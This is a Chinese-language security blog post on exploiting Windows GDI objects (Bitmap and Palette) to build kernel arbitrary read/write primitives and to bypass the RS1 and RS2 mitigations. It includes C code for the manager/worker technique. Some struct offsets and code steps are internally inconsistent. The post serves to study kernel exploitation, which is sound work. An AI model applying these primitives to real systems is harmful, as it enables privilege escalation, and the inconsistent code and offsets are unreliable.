GDI对象利用
ryze 二进制安全 3969浏览 · 2021-12-03 15:15

GDI 对象利用

0x00 前言

普通显示器是由像素点构成的,显示时采用扫描的方法,这种显示器被称为位映像设备。位映象,就是指一个二维的像素矩阵,Bitmap(位图) 就是采用位映象方法显示和存储的图象。

当一幅图中每个像素点赋予不同的 RGB 值时,就能呈现不同的颜色,用来指定对应颜色的 RGB 表就被称为Palette(调色板 )。

0x01 Bitmap

1.1 基础概念

CreateBitmap

HBITMAP CreateBitmap(
  [in] int        nWidth,   // 位图宽度,像素为单位
  [in] int        nHeight,  // 位图高度,像素为单位
  [in] UINT       nPlanes,  // 设备使用的颜色位面数
  [in] UINT       nBitCount, // 用来区分单个像素点颜色的位数
  [in] const VOID *lpBits   // 指向颜色数据数组的指针

如果成功返回创建位图的句柄,如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0。

SURFACE OBJECT

随着位图一样被创建的还有 SURFACE OBJECT

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18
  [...]
} SURFACE64;

它包含了两个结构体: BASEOBJECT 和 SURFOBJ。SURFOBJ.pvScan0 还指向一块名为 Pixel Data 的数据区。

SURFOBJ 官方有详细的定义:

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

GetbitmapBits 和 SetBitmapBits

Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。

LONG GetBitmapBits(
  [in]  HBITMAP hbit,   // 位图的句柄
  [in]  LONG    cb,     // 要从位图复制到缓冲区的字节数
  [out] LPVOID  lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
  [in] HBITMAP    hbm,    // 位图的句柄
  [in] DWORD      cb,     // 指定参数lpBits指向的数组的字节数
  [in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);

1.2 Bitmap 任意地址读写(<1607)

Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。pvScan0 和它指向的数据区 Pixel Data 都在内核空间,因此利用GetbitmapBits 和 SetBitmapBits 就可以做到内核空间的读写,但是并不能做到任意地址读写。

如果存在一次任意地址写的机会,就可以通过修改 pvScan0 来获得任意地址读写的能力。

获取 pvScan0 地址的方法

  1. NtCurrentTeb 来获得 teb 的基址

  2. x64 下 teb 偏移 0x60 获得 peb 的基址

  1. peb 0xf8 偏移处获得 GdiSharedHandleTable 地址

  1. GdiSharedHandleTable 是一个 GDICELL 结构体数组,成员对应进程中的每个GDI对象,数组索引是CreateBitmap 返回的句柄 hBitmap的低十六位,即 index = hBitmap & 0xFFFF

  2. GDICELL 结构如下:

typedef struct _GDI_CELL{
  PVOID64 pKernelAddress; // 0x00
  USHORT wProcessId; // 0x08
  USHORT wCount; // 0x0a
  USHORT wUpper; // 0x0c
  USHORT wType; // 0x0e
  PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18

    pKernelAddress = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)

  1. pKernelAddress 指向 BASEOBJECT ,SURFOBJ 在偏移 0x18 处,SURFOBJ = BASEOBJECT + 0x18

  2. pvScan0 在 SURFOBJ 0x38 偏移处,pvScan0 = SURFOBJ + 0x38

整体代码为:

DWORD64 tebAddr = NtCurrentTeb();

DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);

DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);

DWORD64 pKernelAddress = gdiSharedHandleTableAddr  + ((DWORD64) hBitmap & 0xffff) * 0x18;

DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;

DWORD64 pvScan0Addr = surfObj + 0x38;

整体利用思路

  1. CreateBitmap 创建两个 Bitmap,获得两个句柄 hManager 和 hWorker

  2. 获取 hManager 和 hWorker 的 pvScan0 地址

  3. 利用一次任意地址写的能力,使 hManager 的 pvScan0 的值为 hWorker 的 pvScan0 的地址,即 *hManager_pvScan0 = hWorker_pvScan0

  4. 任意写(完成向 0x1234 地址写入 0xAAAA):

    - 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234

    - 利用 SetBitmapBits 向 hWorker_pvScan0 指向的地址写入 0xAAAA

  1. 任意读(完成读取 0x1234 地址的值)

    - 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234

    - 利用 GetBitmapBits 读取 hManager_pvScan0 指向的地址的值

代码如下:

#include <stdio.h>
#include <Windows.h>

DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
  DWORD64 tebAddr = NtCurrentTeb();
  DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
  DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
  DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
  DWORD64 surfObj = pKernelAddress + 0x18;
  DWORD64 pvScan0Addr = surfObj + 0x38;
  return pvScan0Addr;
}

VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
  SetBitmapBits(hManager,len,&writeAddr);
  GetBitmapBits(hWorker, len, readValue);
}

VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
  SetBitmapBits(hManager, len, &writeAddr);
  SetBitmapBits(hWorker, len, writeValue);
}

int main()
{
  HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
  DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}

1.3 绕过 RS1 缓解措施(<1703)

Windows RS1 对 Bitmap 做了缓解措施,GdiSharedHandleTable不再透露内核地址。,因此通过 pKernelAddress 找到 pvScan0 地址的方法失效了。

Windows 中共有三种类型的对象,分别是 User object、GDI object、Kernel object。Bitmap 属于 GDI object,存在换页对象池:

Accelerator table 对象属于 User object,也存在于换页会话池中。Accelerator table 对象地址可以通过 pKernel 获得,因此如果可以让 Bitmap 对象重用 Accelerator table 对象,就可以再次找到 pvScan0 地址。

获取对象地址

user32.dll 有一个全局变量结构—gSharedInfo,结构如下

typedef struct _SHAREDINFO{   PSERVERINFO  psi;  PHANDLEENTRY aheList;  ULONG_PTR    HeEntrySize;  PDISPLAYINFO pDisplayInfo;  ULONG_PTR    ulSharedDelta;  WNDMSG       awmControl[27];  WNDMSG       awmControl[31];  WNDMSG       DefWindowMsgs;  WNDMSG       DefWindowSpecMsgs;} SHAREDINFO, *PSHAREDINFO;

ahelist 是一个指向一张结构为 USER_HANDLE_ENTRY 的表,其结构如下:

typedef struct _USER_HANDLE_ENTRY {    void* pKernel;    union    {        PVOID pi;        PVOID pti;        PVOID ppi;    };    BYTE type;    BYTE flags;    WORD generation;} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

首地址就指向 pKernel,与 GDICELL 结构数组中的 pKernelAddress 一样,通过相同的计算方式就可以获得该对象地址。

对象重用

类似堆喷的手法,创建多个 Accelerator table 对象再销毁,再创建 Bitmap 对象,使其复用。

1.4 绕过 RS2 缓解措施(<1709)

微软在 RS2 把 HADNLE_ENRTY结构体的pkernel 禁掉了,因此通过 Accelerator table 重用的方式也就失效了。

微软的缓解措施要去绕过,其本质也是泄露 Windows 对象,释放再申请 Bitmap,从而泄露 Bitmap 对象的地址。

这里就涉及到两个概念,一个是窗口菜单名 lpszMenuName,一个是 HMValidateHandle。

HMValidateHandle 可以通过传入窗口句柄,获得在桌面堆的 tagWnd 指针,通过这个指针可以泄露出内核地址(详情见https://ryze-t.com/posts/2021/09/08/HMValidateHandle.html)。

lpszMenuName 指向的是存放菜单名的 paged pool,通过 tagWnd 找到 lpszMenuName 对象的地址,类似于 Accelerator table 的形式获取到 pvScan0 的地址。

0x02 Palette

Bitmap 的问题在 RS3(1709) 终于被解决,于是又出现了新的解决办法—Palette,Palette 的利用方式与 Bitmap相似

1.1 基础概念

Palette 结构如下:

typedef struct _PALETTE64{    BASEOBJECT64      BaseObject;    // 0x00    FLONG           flPal;         // 0x18    ULONG32           cEntries;      // 0x1C    ULONG32           ulTime;        // 0x20     HDC             hdcHead;       // 0x24    ULONG64        hSelected;     // 0x28,     ULONG64           cRefhpal;      // 0x30    ULONG64          cRefRegular;   // 0x34    ULONG64      ptransFore;    // 0x3c    ULONG64      ptransCurrent; // 0x44    ULONG64      ptransOld;     // 0x4C    ULONG32           unk_038;       // 0x38    ULONG64         pfnGetNearest; // 0x3c    ULONG64   pfnGetMatch;   // 0x40    ULONG64           ulRGBTime;     // 0x44    ULONG64       pRGBXlate;     // 0x48    PALETTEENTRY    *pFirstColor;  // 0x80    struct _PALETTE *ppalThis;     // 0x88    PALETTEENTRY    apalColors[3]; // 0x90}

该结构偏移 0x80 处存在一个指针 pFirstColor,指向的是偏移 0x90 的 4 字节数组 apalColors。

类比与 Bitmap,pFirstColor 就是 pvScan0, apalColors[3] 就是 pixel Data。

PALETTEENTRY 结构如下:

class PALETTEENTRY(Structure): _fields_ = [  ("peRed", BYTE),  ("peGreen", BYTE),  ("peBlue", BYTE),  ("peFlags", BYTE) ]

1.2 CreatePalette

CreatePalette 创建一个逻辑调色板,具体函数用法如下:

HPALETTE CreatePalette(  [in] const LOGPALETTE *plpal);

LOGPALETTE 结构如下:

typedef struct tagLOGPALETTE {  WORD         palVersion;     // 0x300  WORD         palNumEntries;  //  palNumEntries = (size-0x90)/4  PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;

1.3 GetPaletteEntries/SetPaletteEntries

与 Bitmap 类似,Palette 中也有类似 API,让我们可以操作 apalColors[3]。

UINT GetPaletteEntries(  [in]  HPALETTE       hpal,        // palette 句柄  [in]  UINT           iStart,      // 要提取的逻辑调色板中的第一项  [in]  UINT           cEntries,    // 要提取的逻辑调色板中的项数  [out] LPPALETTEENTRY pPalEntries  // 接受调色项目的PALETTEENTRY结构数组的指针,该数组所含结构的数目至少为nEntries参数指定的数目);
UINT SetPaletteEntries(  [in] HPALETTE           hpal,        // palette 句柄  [in] UINT               iStart,      // 要设置的逻辑调色板中的第一项  [in] UINT               cEntries,    // 要设置的逻辑调色板中的项数  [in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素);

1.4 利用思路

整体利用思路与 Bitmap 类似。

新建两个 Palette object:hWorker 和 hManager,利用堆喷射的手法获取到两个对象的pFirstColor指针的内核地址,将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址,利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x1234,利用 SetPaletteEntries 往 0x1234 中写入 0xABCD;利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x4321,利用 GetPaletteEntries 从 0x4321 中读取相应值。

0 条评论
某人
表情
可输入 255